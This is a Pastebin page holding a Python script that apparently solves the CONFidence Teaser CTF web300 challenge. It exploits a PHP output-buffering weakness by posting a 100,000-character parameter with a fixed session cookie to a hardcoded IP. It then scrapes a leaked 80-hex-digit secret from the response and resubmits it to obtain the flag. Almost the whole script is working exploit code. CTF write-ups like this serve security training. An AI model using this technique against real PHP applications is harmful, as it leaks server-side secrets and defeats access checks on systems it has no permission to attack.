Guest User

g4mm4 is my h3r0

a guest
Apr 26th, 2015
815
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.45 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #g4mm4 is our hero !!!
  3. #CONFidence Teaser CTF web300
  4. #PHP Output Buffering Trick
  5. import urllib
  6. import urllib2
  7. import os
  8. import socket
  9. import re
  10. def output_buffering_trick():  
  11.     _post = "guess=" + "A" * 100000
  12.     _kaka = "a" * 1000
  13.     s = socket.socket()
  14.     s.connect(("134.213.136.172", 80))
  15.     s.send("POST / HTTP/1.1\r\n")
  16.     s.send("User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)\r\n")
  17.     s.send("Host: 134.213.136.172\r\n")
  18.     s.send("Cookie: PHPSESSID=h6qgh1nltk3fiq10cu31i38df7\r\n")
  19.     s.send("Content-Length: %s\r\n"%len(_post))
  20.     s.send("Content-Type: application/x-www-form-urlencoded\r\n")
  21.     s.send("Connection: close\r\n\r\n")
  22.     s.send(_post)
  23.     s.send("\r\n\r\n")
  24.     while True:
  25.         buf = s.recv(1024)
  26.         if not buf:
  27.             break
  28.         if "Wrong" in buf:
  29.             _egg = re.findall(r"([a-fA-F\d]{80})", buf)
  30.             s.close()
  31.             return _egg[0]
  32.    
  33.    
  34. def get_flag(_egg):
  35.     url = 'http://134.213.136.172/'
  36.     user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
  37.     values = {'guess': _egg}
  38.     headers = { 'User-Agent' : user_agent,
  39.     'Cookie': 'PHPSESSID=h6qgh1nltk3fiq10cu31i38df7'}
  40.     data = urllib.urlencode(values)
  41.     req = urllib2.Request(url, data, headers)
  42.     response = urllib2.urlopen(req)
  43.     the_page = response.read()
  44.     print the_page
  45.    
  46.  
  47. if __name__ == "__main__":
  48.     get_flag(output_buffering_trick())
Advertisement
Add Comment
Please, Sign In to add comment